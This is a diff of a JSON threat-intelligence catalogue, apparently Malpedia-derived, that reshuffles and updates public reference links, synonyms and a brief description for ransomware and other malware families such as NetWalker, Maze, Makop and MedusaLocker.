"https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/", + "https://www.bleepingcomputer.com/news/security/michigan-state-university-network-breached-in-ransomware-attack/", + "https://www.bleepingcomputer.com/news/security/mailto-netwalker-ransomware-targets-enterprise-networks/", + "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/", + "https://www.youtube.com/watch?v=q8of74upT_g", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://www.incibe-cert.es/blog/ransomware-netwalker-analisis-y-medidas-preventivas", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://sites.temple.edu/care/ci-rw-attacks/", + "https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the-wild-side/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", - "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://www.justice.gov/usao-mdfl/press-release/file/1360846/download", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://zero2auto.com/2020/05/19/netwalker-re/", - "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf", - "https://cert-agid.gov.it/news/netwalker-il-ransomware-che-ha-beffato-lintera-community/", - "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/", - "https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware", - "https://www.bleepingcomputer.com/news/security/michigan-state-university-network-breached-in-ransomware-attack/", - "https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware", - "https://www.youtube.com/watch?v=q8of74upT_g", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-one-of-three/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/", - "https://www.ic3.gov/media/news/2020/200929-2.pdf", - "https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf", - "https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://lopqto.me/posts/automated-dynamic-import-resolving", - "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", "https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/", + "https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-two-of-three/", + "https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", + "https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware", + "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://danusminimus.github.io/Zero2Auto-Netwalker-Walkthrough/", + "https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html", + "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/", + "https://zengo.com/bitcoin-ransomware-detective-ucsf/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://zero2auto.com/2020/05/19/netwalker-re/", + "https://www.ic3.gov/media/news/2020/200929-2.pdf", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.justice.gov/usao-mdfl/press-release/file/1360846/download", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://id-ransomware.blogspot.com/2019/09/koko-ransomware.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.advanced-intel.com/post/netwalker-ransomware-group-enters-advanced-targeting-game", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://cert-agid.gov.it/news/netwalker-il-ransomware-che-ha-beffato-lintera-community/", + "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-infecting-users-via-coronavirus-phishing/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", - "https://zengo.com/bitcoin-ransomware-detective-ucsf/", - "https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html" + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", + "https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware" ], "synonyms": [ "Koko Ransomware", @@ -30678,11 +32407,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o", - "https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/", + "https://blog.group-ib.com/task", "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", "https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf", "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", - "https://blog.group-ib.com/task" + "https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/" ], "synonyms": [], "type": [] @@ -30695,8 +32424,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos", - "https://www.cyber.nj.gov/threat-profiles/pos-malware-variants/majikpos", - "http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/" + "http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/", + "https://www.cyber.nj.gov/threat-profiles/pos-malware-variants/majikpos" ], "synonyms": [], "type": [] @@ -30709,10 +32438,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs", - "http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html", - "https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/" + "https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs", + "http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html" ], "synonyms": [], "type": [] @@ -30734,13 +32463,14 @@ "value": "MakLoader" }, { - "description": "", + "description": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension “.makop”. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware", "https://lifars.com/wp-content/uploads/2021/08/Makop-Ransomware-Whitepaper-case-studyNEW-1.pdf", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", "https://twitter.com/siri_urz/status/1221797493849018368", - "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/" + "https://medium.com/@lcam/makop-the-toolkit-of-a-criminal-gang-53cd44563c11" ], "synonyms": [], "type": [] @@ -30753,9 +32483,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub", - "https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/", + "https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html", "https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/", - "https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html" + "https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/" ], "synonyms": [], "type": [] @@ -30781,9 +32511,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/", "https://www.ic3.gov/Media/News/2021/210323.pdf", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://securelist.com/the-return-of-mamba-ransomware/79403/" ], "synonyms": [ @@ -30816,9 +32546,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf", "https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2", - "https://www.youtube.com/watch?v=NFJqD-LcpIg", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf" + "https://www.youtube.com/watch?v=NFJqD-LcpIg" ], "synonyms": [ "junidor", @@ -30853,15 +32583,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "25db921d-d753-4fb1-b51b-961d7fdae6f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "13b0d9ff-0be0-4539-8c86-dfca7a0e79f6", "value": "ManItsMe" }, @@ -30870,8 +32591,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka", - "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", - "https://github.com/avast/ioc/tree/master/Manjusaka" + "https://github.com/avast/ioc/tree/master/Manjusaka", + "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html" ], "synonyms": [], "type": [] @@ -30902,15 +32623,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "bf08965f-03a5-4cf6-83fb-8d3c9e9398ee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8a97307f-a029-4c43-88e1-debed2b80b14", "value": "MAPIget" }, @@ -30919,8 +32631,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.marap", - "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf" ], "synonyms": [], @@ -30934,9 +32646,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa", - "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/", "https://www.us-cert.gov/ics/advisories/ICSA-10-090-01", - "https://defintel.com/docs/Mariposa_Analysis.pdf" + "https://defintel.com/docs/Mariposa_Analysis.pdf", + "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/" ], "synonyms": [ "Autorun", @@ -30981,23 +32693,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer", - "https://x-junior.github.io/malware%20analysis/MarsStealer/", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", - 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"https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/", + "https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/", + "https://sites.temple.edu/care/ci-rw-attacks/", + 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"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://killbit.medium.com/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://news.sophos.com/en-us/2020/05/12/maze-ransomware-1-year-counting/", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://securelist.com/targeted-ransomware-encrypting-data/99255/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", + "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://www.brighttalk.com/webcast/7451/408167/navigating-maze-analysis-of-a-rising-ransomware-threat", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/", + "https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/", + "https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://web.archive.org/save/https://news.cognizant.com/2020-04-18-cognizant-security-update", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", "https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/", - "https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/", - "https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/", - "https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/", - "https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/", - "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", - "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", - "https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us", - "https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/" + "https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/", + "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/", + "https://media-exp1.licdn.com/dms/document/C4E1FAQHyhJYCWxq5eg/feedshare-document-pdf-analyzed/0?e=1584129600&v=beta&t=9wTDR-mZPDF4ET7ABNgE2ab9g8e9wxQrhXsxI1cSX8U", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/", + "https://oag.ca.gov/system/files/Letter%204.pdf" ], "synonyms": [ "ChaCha" @@ -31310,9 +33020,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock", - "http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html", "https://app.any.run/tasks/0a7e643f-7562-4575-b8a5-747bd6b5f02d", "https://www.bleepingcomputer.com/news/security/dexcrypt-mbrlocker-demands-30-yuan-to-gain-access-to-computer/", + "http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html", "https://www.hybrid-analysis.com/sample/dfc56a704b5e031f3b0d2d0ea1d06f9157758ad950483b44ac4b77d33293cb38?environmentId=100" ], "synonyms": [ @@ -31341,10 +33051,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi", - "https://www.symantec.com/connect/blogs/bios-threat-showing-again", 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"https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/", "https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/", "https://news.drweb.com/show/?i=10302&lng=en" ], @@ -31404,30 +33115,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", - "https://www.cybereason.com/blog/medusalocker-ransomware", - "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-1-analysing-medusalocker-ransomware/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-3-analysing-medusalocker-ransomware/", "https://dissectingmalwa.re/try-not-to-stare-medusalocker-at-a-glance.html", - "http://id-ransomware.blogspot.com/2019/10/medusalocker-ransomware.html", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-181a", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf", - "https://blog.talosintelligence.com/2020/04/medusalocker.html", - "https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html", - "https://twitter.com/siri_urz/status/1215194488714346496?s=20", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/", + "http://id-ransomware.blogspot.com/2019/10/medusalocker-ransomware.html", + "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-2-analysing-medusalocker-ransomware/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://blog.cyble.com/2023/03/15/unmasking-medusalocker-ransomware/", + "https://asec.ahnlab.com/en/48940/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-181a", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://blog.talosintelligence.com/2020/04/medusalocker.html", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.cybereason.com/blog/medusalocker-ransomware", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-2-analysing-medusalocker-ransomware/" + "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-1-analysing-medusalocker-ransomware/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/", + "https://twitter.com/siri_urz/status/1215194488714346496?s=20" ], "synonyms": [ "AKO Doxware", @@ -31444,26 +33159,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex", - "https://www.bleepingcomputer.com/news/security/elusive-megacortex-ransomware-found-here-is-what-we-know/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://news.sophos.com/en-us/2019/05/10/megacortex-deconstructed-mysteries-mount-as-analysis-continues/", - 